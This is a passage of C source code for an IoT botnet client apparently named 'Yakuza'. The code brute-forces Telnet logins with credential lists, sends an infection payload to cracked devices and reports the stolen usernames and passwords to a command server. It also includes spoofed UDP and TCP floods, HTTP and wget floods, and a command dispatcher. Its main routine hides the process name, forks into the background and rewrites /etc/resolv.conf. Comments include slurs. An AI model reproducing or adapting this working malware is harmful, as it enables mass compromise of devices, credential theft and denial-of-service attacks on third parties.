  657. in_addr_t getRandomIP(in_addr_t netmask) {
  658.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  659.         return tmp ^ ( rand_cmwc() & ~netmask);
  660. }
  661. unsigned short csum (unsigned short *buf, int count) {
  662.         register uint64_t sum = 0;
  663.         while( count > 1 ) { sum += *buf++; count -= 2; }
  664.         if(count > 0) { sum += *(unsigned char *)buf; }
  665.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  666.         return (uint16_t)(~sum);
  667. }
  668. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  669.         struct tcp_pseudo {
  670.                 unsigned long src_addr;
  671.                 unsigned long dst_addr;
  672.                 unsigned char zero;
  673.                 unsigned char proto;
  674.                 unsigned short length;
  675.         } pseudohead;
  676.         unsigned short total_len = iph->tot_len;
  677.         pseudohead.src_addr=iph->saddr;
  678.         pseudohead.dst_addr=iph->daddr;
  679.         pseudohead.zero=0;
  680.         pseudohead.proto=IPPROTO_TCP;
  681.         pseudohead.length=htons(sizeof(struct tcphdr));
  682.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  683.         unsigned short *tcp = malloc(totaltcp_len);
  684.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  685.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  686.         unsigned short output = csum(tcp,totaltcp_len);
  687.         free(tcp);
  688.         return output;
  689. }
  690. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  691.         iph->ihl = 5;
  692.         iph->version = 4;
  693.         iph->tos = 0;
  694.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  695.         iph->id = rand_cmwc();
  696.         iph->frag_off = 0;
  697.         iph->ttl = MAXTTL;
  698.         iph->protocol = protocol;
  699.         iph->check = 0;
  700.         iph->saddr = source;
  701.         iph->daddr = dest;
  702. }
  703. int sclose(int fd) {
  704.         if(3 > fd) return 1;
  705.         close(fd);
  706.         return 0;
  707. }
  708.  
  709. void TelnetScanner(int wait_usec, int maxfds)
  710. {
  711.         int max = getdtablesize() - 100, i, res, num_tmps, j;
  712.         char buf[128], cur_dir;
  713.         if (max > maxfds)
  714.                 max = maxfds;
  715.         fd_set fdset;
  716.         struct timeval tv;
  717.         socklen_t lon;
  718.         int valopt;
  719.         char line[256];
  720.         char* buffer;
  721.         struct sockaddr_in dest_addr;
  722.         dest_addr.sin_family = AF_INET;
  723.         dest_addr.sin_port = htons(23);
  724.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  725.         buffer = malloc(SOCKBUF_SIZE + 1);
  726.         memset(buffer, 0, SOCKBUF_SIZE + 1);
  727.         struct telstate_t fds[max];
  728.         memset(fds, 0, max * (sizeof(int) + 1));
  729.         for(i = 0; i < max; i++) {
  730.                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  731.                 fds[i].complete = 1;
  732.                 fds[i].sockbuf = buffer;
  733.         }
  734.         while(1) {
  735.                 for(i = 0; i < max; i++) {
  736.                         if(fds[i].tTimeout == 0) {
  737.                                 fds[i].tTimeout = time(NULL);
  738.                         }
  739.                         switch(fds[i].state) {
  740.             case 0:
  741.                 {
  742.                     if(fds[i].complete == 1)
  743.                     {
  744.                                    
  745.                         char *tmp = fds[i].sockbuf;
  746.                         memset(&(fds[i]), 0, sizeof(struct telstate_t));
  747.                         fds[i].sockbuf = tmp;
  748.                                    
  749.                                    
  750.                         fds[i].ip = TelnetIPRanges();
  751.                     }
  752.                     else if(fds[i].complete == 0)
  753.                     {
  754.                         fds[i].usernameInd++;
  755.                         fds[i].passwordInd++;
  756.                                    
  757.                         if(fds[i].passwordInd == sizeof(tel_passwords) / sizeof(char *))
  758.                         {
  759.                             fds[i].complete = 1;
  760.                         }
  761.                         if(fds[i].usernameInd == sizeof(tel_usernames) / sizeof(char *))
  762.                         {
  763.                             fds[i].complete = 1;
  764.                             continue;
  765.                         }
  766.                     }
  767.                     dest_addr.sin_family = AF_INET;
  768.                     dest_addr.sin_port = htons(23);
  769.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  770.                            
  771.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  772.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  773.                     if(fds[i].fd == -1) continue;
  774.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  775.                                
  776.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  777.                     {
  778.                         reset_telstate(&fds[i]);
  779.                     }
  780.                     else
  781.                     {
  782.                         advance_telstate(&fds[i], 1);
  783.                     }
  784.                 }
  785.                 break;
  786.             case 1:
  787.                 {
  788.                     FD_ZERO(&fdset);
  789.                     FD_SET(fds[i].fd, &fdset);
  790.                     tv.tv_sec = 0;
  791.                     tv.tv_usec = wait_usec;
  792.                     res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  793.                     if(res == 1)
  794.                     {
  795.                         fds[i].tTimeout = time(NULL);
  796.                         lon = sizeof(int);
  797.                         valopt = 0;
  798.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  799.                         if(valopt)
  800.                         {
  801.                             reset_telstate(&fds[i]);
  802.                         }
  803.                         else
  804.                         {
  805.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  806.                             advance_telstate(&fds[i], 2);
  807.                         }
  808.                         continue;
  809.                     }
  810.                     else if(res == -1)
  811.                     {
  812.                         reset_telstate(&fds[i]);
  813.                         continue;
  814.                     }
  815.                     if(fds[i].tTimeout + 7 < time(NULL))
  816.                     {
  817.                         reset_telstate(&fds[i]);
  818.                     }
  819.                 }
  820.                 break;
  821.             case 2:
  822.                 {
  823.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  824.                     {
  825.                         fds[i].tTimeout = time(NULL);
  826.                         if(contains_fail(fds[i].sockbuf))
  827.                         {
  828.                             advance_telstate(&fds[i], 0);
  829.                         }
  830.                         else
  831.                         {
  832.                             advance_telstate(&fds[i], 3);
  833.                         }
  834.                         continue;
  835.                     }
  836.                     if(fds[i].tTimeout + 7 < time(NULL))
  837.                     {
  838.                         reset_telstate(&fds[i]);
  839.                     }
  840.                 }
  841.                 break;
  842.             case 3:
  843.                 {
  844.                     if(send(fds[i].fd, tel_usernames[fds[i].usernameInd], strlen(tel_usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  845.                     {
  846.                         reset_telstate(&fds[i]);
  847.                         continue;
  848.                     }
  849.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  850.                     {
  851.                         reset_telstate(&fds[i]);
  852.                         continue;
  853.                     }
  854.                     advance_telstate(&fds[i], 4);
  855.                 }
  856.                 break;
  857.             case 4:
  858.                 {
  859.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  860.                     {
  861.                         fds[i].tTimeout = time(NULL);
  862.                         if(contains_fail(fds[i].sockbuf))
  863.                         {
  864.                             advance_telstate(&fds[i], 0);
  865.                         }
  866.                         else
  867.                         {
  868.                             advance_telstate(&fds[i], 5);
  869.                         }
  870.                         continue;
  871.                     }
  872.                     if(fds[i].tTimeout + 7 < time(NULL))
  873.                     {
  874.                         reset_telstate(&fds[i]);
  875.                     }
  876.                 }
  877.                 break;                             
  878.             case 5:
  879.                 {
  880.                     if(send(fds[i].fd, tel_passwords[fds[i].passwordInd], strlen(tel_passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  881.                     {
  882.                         reset_telstate(&fds[i]);
  883.                         continue;
  884.                     }
  885.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  886.                     {
  887.                         reset_telstate(&fds[i]);
  888.                         continue;
  889.                     }
  890.                     advance_telstate(&fds[i], 6);
  891.                 }
  892.                 break;                                 
  893.             case 6:
  894.                 {
  895.                     if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2)) //waiting for response.
  896.                     {
  897.                         fds[i].tTimeout = time(NULL);
  898.                         if(contains_fail(fds[i].sockbuf))
  899.                         {
  900.                             advance_telstate(&fds[i], 0);
  901.                         }
  902.                         else if(contains_success(fds[i].sockbuf))
  903.                         {
  904.                             if(fds[i].complete == 2)
  905.                             {
  906.                                 advance_telstate(&fds[i], 7);
  907.                             }
  908.                             else
  909.                             {
  910.                                 sockprintf(mainCommSock, "[ Yakuza ] Result || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  911.                                 advance_telstate(&fds[i], 7);
  912.                             }
  913.                         }
  914.                         else
  915.                         {
  916.                             reset_telstate(&fds[i]);
  917.                         }
  918.                         continue;
  919.                     }
  920.                     if(fds[i].tTimeout + 7 < time(NULL))
  921.                     {
  922.                         reset_telstate(&fds[i]);
  923.                     }
  924.                 }
  925.                 break;
  926.             case 7:
  927.                 {
  928.                
  929.                 advance_telstate(&fds[i], 8);
  930.                 }
  931.                 break;
  932.             case 8:
  933.             {      
  934.                
  935.                         fds[i].tTimeout = time(NULL);
  936.                        
  937.                         if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0);
  938.                         if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  939.                        
  940.                         if(send(fds[i].fd, payload, strlen(payload), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  941.                         sockprintf(mainCommSock, "[ Yakuza ] Infecting || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  942.                        
  943.                         //int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  944.                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "connected"))
  945.                         {   // if you removed my credits then fuck you. hail scarface.
  946.                             //char  strcasestr (const char *big, const char *little)
  947.                             if(strcasestr(fds[i].sockbuf, "LINKED") && fds[i].complete != 3)
  948.                             {
  949.                                 sockprintf(mainCommSock, "[ Yakuza ] Infection Success. || IP: %s: || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  950.                             }
  951.                         }
  952.                         if(fds[i].tTimeout + 45 < time(NULL))
  953.                         {  
  954.                             if(fds[i].complete!=3)
  955.                             {
  956.                                 sockprintf(mainCommSock, "[ Yakuza ] Failed || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), tel_usernames[fds[i].usernameInd], tel_passwords[fds[i].passwordInd]);
  957.                             }
  958.                             reset_telstate(&fds[i]);
  959.                         }
  960.                 break;
  961.                 }
  962.             }
  963.         }
  964.     }              
  965. }
  966. void SendSTD(unsigned char *ip, int port, int secs) {
  967.     int iSTD_Sock;
  968.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  969.     time_t start = time(NULL);
  970.     struct sockaddr_in sin;
  971.     struct hostent *hp;
  972.     hp = gethostbyname(ip);
  973.     bzero((char*) &sin,sizeof(sin));
  974.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  975.     sin.sin_family = hp->h_addrtype;
  976.     sin.sin_port = port;
  977.     unsigned int a = 0;
  978.     while(1){
  979.         if (a >= 50) {
  980.             send(iSTD_Sock, "d4mQasDSH6",  65, 0);
  981.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  982.             if (time(NULL) >= start + secs) {
  983.                 close(iSTD_Sock);
  984.                 _exit(0);
  985.             }
  986.             a = 0;
  987.         }
  988.         a++;
  989.     }
  990. }
  991. void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  992.         struct sockaddr_in dest_addr;
  993.         dest_addr.sin_family = AF_INET;
  994.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  995.         else dest_addr.sin_port = htons(port);
  996.         if(getHost(target, &dest_addr.sin_addr)) return;
  997.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  998.         register unsigned int pollRegister;
  999.         pollRegister = pollinterval;   
  1000.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1001.                 if(!sockfd) {
  1002.                         return;
  1003.                 }
  1004.                 int tmp = 1;
  1005.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1006.                         return;
  1007.                 }
  1008.                 int counter = 50;
  1009.                 while(counter--) {
  1010.                         srand(time(NULL) ^ rand_cmwc());
  1011.                         init_rand(rand());
  1012.                 }
  1013.                 in_addr_t netmask;
  1014.                 netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1015.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1016.                 struct iphdr *iph = (struct iphdr *)packet;
  1017.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1018.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1019.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1020.                 udph->source = rand_cmwc();
  1021.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1022.                 udph->check = 0;
  1023.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1024.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1025.                 int end = time(NULL) + timeEnd;
  1026.                 register unsigned int i = 0;
  1027.                 while(1) {
  1028.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1029.                         udph->source = rand_cmwc();
  1030.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1031.                         iph->id = rand_cmwc();
  1032.                         iph->saddr = htonl( getRandomIP(netmask) );
  1033.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1034.                         if(i == pollRegister) {
  1035.                                 if(time(NULL) > end) break;
  1036.                                 i = 0;
  1037.                                 continue;
  1038.                         }
  1039.                         i++;
  1040.                 }
  1041.         }
  1042. void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  1043.         register unsigned int pollRegister;
  1044.         pollRegister = pollinterval;
  1045.         struct sockaddr_in dest_addr;
  1046.         dest_addr.sin_family = AF_INET;
  1047.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1048.         else dest_addr.sin_port = htons(port);
  1049.         if(getHost(target, &dest_addr.sin_addr)) return;
  1050.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1051.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1052.         if(!sockfd) { return; }
  1053.         int tmp = 1;
  1054.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  1055.         in_addr_t netmask;
  1056.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1057.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1058.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1059.         struct iphdr *iph = (struct iphdr *)packet;
  1060.         // in case a fag removes my credits. me is scarface.
  1061.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1062.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1063.         tcph->source = rand_cmwc();
  1064.         tcph->seq = rand_cmwc();
  1065.         tcph->ack_seq = 0;
  1066.         tcph->doff = 5;
  1067.         if(!strcmp(flags, "ALL")) {
  1068.                 tcph->syn = 1;
  1069.                 tcph->rst = 1;
  1070.                 tcph->fin = 1;
  1071.                 tcph->ack = 1;
  1072.                 tcph->psh = 1;
  1073.         } else {
  1074.                 unsigned char *pch = strtok(flags, "-");
  1075.                 while(pch) {
  1076.                         if(!strcmp(pch,         "SYN")) { tcph->syn = 1;
  1077.                         } else if(!strcmp(pch,  "RST")) { tcph->rst = 1;
  1078.                         } else if(!strcmp(pch,  "FIN")) { tcph->fin = 1;
  1079.                         } else if(!strcmp(pch,  "ACK")) { tcph->ack = 1;
  1080.                         } else if(!strcmp(pch,  "PSH")) { tcph->psh = 1;
  1081.                         } else {
  1082.                         }
  1083.                         pch = strtok(NULL, ",");
  1084.                 }
  1085.         }
  1086.         tcph->window = rand_cmwc();
  1087.         tcph->check = 0;
  1088.         tcph->urg_ptr = 0;
  1089.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1090.         tcph->check = tcpcsum(iph, tcph);
  1091.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1092.         int end = time(NULL) + timeEnd;
  1093.         register unsigned int i = 0;
  1094.         while(1) {
  1095.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1096.                 iph->saddr = htonl( getRandomIP(netmask) );
  1097.                 iph->id = rand_cmwc();
  1098.                 tcph->seq = rand_cmwc();
  1099.                 tcph->source = rand_cmwc();
  1100.                 tcph->check = 0;
  1101.                 tcph->check = tcpcsum(iph, tcph);
  1102.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1103.                 if(i == pollRegister) {
  1104.                         if(time(NULL) > end) break;
  1105.                         i = 0;
  1106.                         continue;
  1107.                 }
  1108.                 i++;
  1109.         }
  1110. }
  1111. int socket_connect(char *host, in_port_t port) {
  1112.     struct hostent *hp;
  1113.     struct sockaddr_in addr;
  1114.     int on = 1, sock;    
  1115.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1116.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1117.     addr.sin_port = htons(port);
  1118.     addr.sin_family = AF_INET;
  1119.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1120.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1121.     if (sock == -1) return 0;
  1122.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1123.     return sock;
  1124. }
  1125.  
  1126. void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  1127.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1128.     char request[512], buffer[1];
  1129.     for (i = 0; i < power; i++) {
  1130.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, uagents[(rand() % 59)]);
  1131.         if (fork()) {
  1132.             while (end > time(NULL)) {
  1133.                 socket = socket_connect(host, port);
  1134.                 if (socket != 0) {
  1135.                     write(socket, request, strlen(request));
  1136.                     read(socket, buffer, 1);
  1137.                     close(socket);
  1138.                 }
  1139.             }
  1140.             exit(0);
  1141.         }
  1142.     }
  1143. }
  1144.  
  1145. void SendWGET(unsigned char *url, int end_time)
  1146. {
  1147.     int end = time(NULL) + end_time;
  1148.     FILE *pf;
  1149.     char command[80];
  1150.     sprintf(command, "wget --no-check-certificate -q -O /tmp/null ");
  1151.     strcat(command, url);
  1152.    
  1153.     pf = popen(command,"r");
  1154.    
  1155.     while(end > time(NULL))
  1156.     {
  1157.         system(command);
  1158.     }
  1159.    
  1160. }
  1161.  
  1162.  
  1163. void processCmd(int argc, unsigned char *argv[]) {
  1164.         if(!strcmp(argv[0], "ICMP"))
  1165.         {
  1166.                 return;
  1167.         }
  1168.         if(!strcmp(argv[0], "TELNET"))
  1169.         {
  1170.             if(!strcmp(argv[1], "ON"))
  1171.             {
  1172.                
  1173.                 uint32_t parent;
  1174.                 parent = fork();        
  1175.                 int ii = 0;
  1176.                 int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1177.                 int fds = 999999;
  1178.                 if(forks == 1) fds = 500;
  1179.                 if(forks >= 2) fds = 1000;
  1180.                 if (parent > 0)
  1181.                 {
  1182.                     scanPid = parent;
  1183.                     return;
  1184.                 }
  1185.                 else if(parent == -1) return;
  1186.    
  1187.                 for (ii = 0; ii < forks; ii++)
  1188.                 {
  1189.                     srand((time(NULL) ^ getpid()) + getppid());
  1190.                     init_rand(time(NULL) ^ getpid());
  1191.                     TelnetScanner(100, fds);
  1192.                     _exit(0);
  1193.                 }
  1194.             }
  1195.             if(!strcmp(argv[1], "OFF"))
  1196.             {
  1197.                 if(scanPid == 0) return;
  1198.  
  1199.                 kill(scanPid, 9);
  1200.                 scanPid = 0;
  1201.             }
  1202.             if(!strcmp(argv[1], "FLOAD"))
  1203.             {
  1204.                 int threads = atoi(argv[1]);
  1205.                 int usec = atoi(argv[2]);
  1206.                 if(!listFork())
  1207.                 {
  1208.                     sockprintf(mainCommSock, "FLoad Mode Activated");
  1209.                     TelnetScanner(usec, threads);
  1210.                     _exit(0);
  1211.                 }
  1212.                 return;
  1213.             }
  1214.         }
  1215.            
  1216.         if (!strcmp(argv[0], "HTTP"))
  1217.         {
  1218.             // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1219.             if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1220.             if (listFork()) return;
  1221.             SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1222.             exit(0);
  1223.         }
  1224.        
  1225.         if(!strcmp(argv[0], "WGET"))
  1226.         {
  1227.         if(argc < 3 || atoi(argv[2]) < 1)
  1228.         {
  1229.             return;
  1230.         }
  1231.  
  1232.         unsigned char *ip = argv[1];
  1233.         int time = atoi(argv[2]);
  1234.  
  1235.         if(strstr(ip, ",") != NULL)
  1236.         {
  1237.             unsigned char *hi = strtok(ip, ",");
  1238.             while(hi != NULL)
  1239.             {
  1240.                 if(!listFork())
  1241.                 {
  1242.                     int i = 0;
  1243.                     while(i < 10){
  1244.                         SendWGET(ip, time);
  1245.                         i++;
  1246.                     }
  1247.                     close(mainCommSock);
  1248.                     _exit(0);
  1249.                 }
  1250.                 hi = strtok(NULL, ",");
  1251.             }
  1252.         } else {
  1253.             if (listFork()) { return; }
  1254.             int i = 0;
  1255.             while(i < 10){
  1256.                 SendWGET(ip, time);
  1257.                 i++;
  1258.             }
  1259.             close(mainCommSock);
  1260.  
  1261.             _exit(0);
  1262.         }
  1263.     }
  1264.         if(!strcmp(argv[0], "UDP"))
  1265.         {
  1266.             // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL
  1267.             if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))
  1268.             {
  1269.                 return;
  1270.             }
  1271.                 unsigned char *ip = argv[1];
  1272.                 int port = atoi(argv[2]);
  1273.                 int time = atoi(argv[3]);
  1274.                 int packetsize = atoi(argv[4]);
  1275.                 int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1276.                 int spoofed = 32;
  1277.                 if(strstr(ip, ",") != NULL)
  1278.                 {
  1279.                     unsigned char *hi = strtok(ip, ",");
  1280.                     while(hi != NULL)
  1281.                     {
  1282.                         if(!listFork())
  1283.                         {
  1284.                             SendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  1285.                             _exit(0);
  1286.                         }
  1287.                         hi = strtok(NULL, ",");
  1288.                     }
  1289.                 } else {
  1290.                             if (listFork())
  1291.                             {
  1292.                                 return;
  1293.                             }
  1294.                             SendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  1295.                             _exit(0);
  1296.                        }   
  1297.         }
  1298.         if(!strcmp(argv[0], "TCP"))
  1299.         {
  1300.                 // !* TCP TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  1301.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))
  1302.                 {
  1303.                         return;
  1304.                 }
  1305.                 unsigned char *ip = argv[1];
  1306.                 int port = atoi(argv[2]);
  1307.                 int time = atoi(argv[3]);
  1308.                 unsigned char *flags = argv[4];
  1309.                 int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  1310.                 int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  1311.                 int spoofed = 32;
  1312.                 if(strstr(ip, ",") != NULL) {
  1313.                         unsigned char *hi = strtok(ip, ",");
  1314.                         while(hi != NULL) {
  1315.                                 if(!listFork()) {
  1316.                                         SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  1317.                                         _exit(0);
  1318.                                 }
  1319.                                 hi = strtok(NULL, ",");
  1320.                         }
  1321.                 } else  {
  1322.                             if (listFork())
  1323.                             {
  1324.                                 return;
  1325.                             }
  1326.                             SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  1327.                             _exit(0);
  1328.                         }
  1329.         }
  1330.         if(!strcmp(argv[0], "STD"))
  1331.         {
  1332.             // !* STD TARGET PORT TIME
  1333.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1334.             {
  1335.                 return;
  1336.             }
  1337.             unsigned char *ip = argv[1];
  1338.             int port = atoi(argv[2]);
  1339.             int time = atoi(argv[3]);
  1340.             if(strstr(ip, ",") != NULL)
  1341.             {
  1342.                 unsigned char *hi = strtok(ip, ",");
  1343.                 while(hi != NULL)
  1344.                 {
  1345.                     if(!listFork())
  1346.                     {
  1347.                         SendSTD(hi, port, time);
  1348.                         _exit(0);
  1349.                     }
  1350.                     hi = strtok(NULL, ",");
  1351.                 }
  1352.             } else {
  1353.                         if (listFork())
  1354.                         {
  1355.                             return;
  1356.                         }
  1357.                         SendSTD(ip, port, time);
  1358.                         _exit(0);
  1359.                    }
  1360.         }
  1361.         if(!strcmp(argv[0], "STOP"))
  1362.         {
  1363.                 int killed = 0;
  1364.                 unsigned long i;
  1365.                 for (i = 0; i < numpids; i++)
  1366.                 {
  1367.                         if (pids[i] != 0 && pids[i] != getpid())
  1368.                         {
  1369.                                 kill(pids[i], 9);
  1370.                                 killed++;
  1371.                         }
  1372.                 }
  1373.                 if(killed > 0)
  1374.                 {
  1375.                     //
  1376.                 } else {
  1377.                             //
  1378.                        }
  1379.         }
  1380. }
  1381. int initConnection() {
  1382.     unsigned char server[512];
  1383.     memset(server, 0, 512);
  1384.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  1385.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1386.     else currentServer++;
  1387.     strcpy(server, commServer[currentServer]);
  1388.     int port = 23;
  1389.     if(strchr(server, ':') != NULL) {
  1390.         port = atoi(strchr(server, ':') + 1);
  1391.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1392.     }
  1393.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1394.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1395.     return 0;
  1396. }
  1397. void UpdateNameSrvs() {
  1398.     uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);
  1399.     if (access("/etc/resolv.conf", F_OK) != -1) {
  1400.         const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";
  1401.         size_t resl = strlen(resd);
  1402.         write(fhandler, resd, resl);
  1403.     } else { return; }
  1404.     close(fhandler);
  1405. }
  1406. int getEndianness(void)
  1407. {
  1408.     union
  1409.     {
  1410.         uint32_t vlu;
  1411.         uint8_t data[sizeof(uint32_t)];
  1412.     } nmb;
  1413.     nmb.data[0] = 0x00;
  1414.     nmb.data[1] = 0x01;
  1415.     nmb.data[2] = 0x02;
  1416.     nmb.data[3] = 0x03;
  1417.     switch (nmb.vlu)
  1418.     {
  1419.         case UINT32_C(0x00010203):
  1420.             return "BIG_ENDIAN";
  1421.         case UINT32_C(0x03020100):
  1422.             return "LITTLE_ENDIAN";
  1423.         case UINT32_C(0x02030001):
  1424.             return "BIG_ENDIAN_W";
  1425.         case UINT32_C(0x01000302):
  1426.             return "LITTLE_ENDIAN_W";
  1427.         default:
  1428.             return "UNKNOWN";
  1429.     }
  1430. }
  1431. int main(int argc, unsigned char *argv[]) {
  1432.         const char *lolsuckmekid = "";
  1433.         if(SERVER_LIST_SIZE <= 0) return 0;
  1434.         strncpy(argv[0],"",strlen(argv[0]));
  1435.         argv[0] = "";
  1436.         prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);
  1437.         srand(time(NULL) ^ getpid());
  1438.         init_rand(time(NULL) ^ getpid());
  1439.         pid_t pid1;
  1440.         pid_t pid2;
  1441.         int status;
  1442.         if (pid1 = fork()) {
  1443.                         waitpid(pid1, &status, 0);
  1444.                         exit(0);
  1445.         } else if (!pid1) {
  1446.                         if (pid2 = fork()) {
  1447.                                         exit(0);
  1448.                         } else if (!pid2) {
  1449.                         } else {
  1450.                         }
  1451.         } else {
  1452.         }
  1453.         chdir("/");
  1454.         setuid(0);             
  1455.         seteuid(0);
  1456.         signal(SIGPIPE, SIG_IGN);
  1457.         while(1) {
  1458.                 if(fork() == 0) {
  1459.                 if(initConnection()) { sleep(5); continue; }
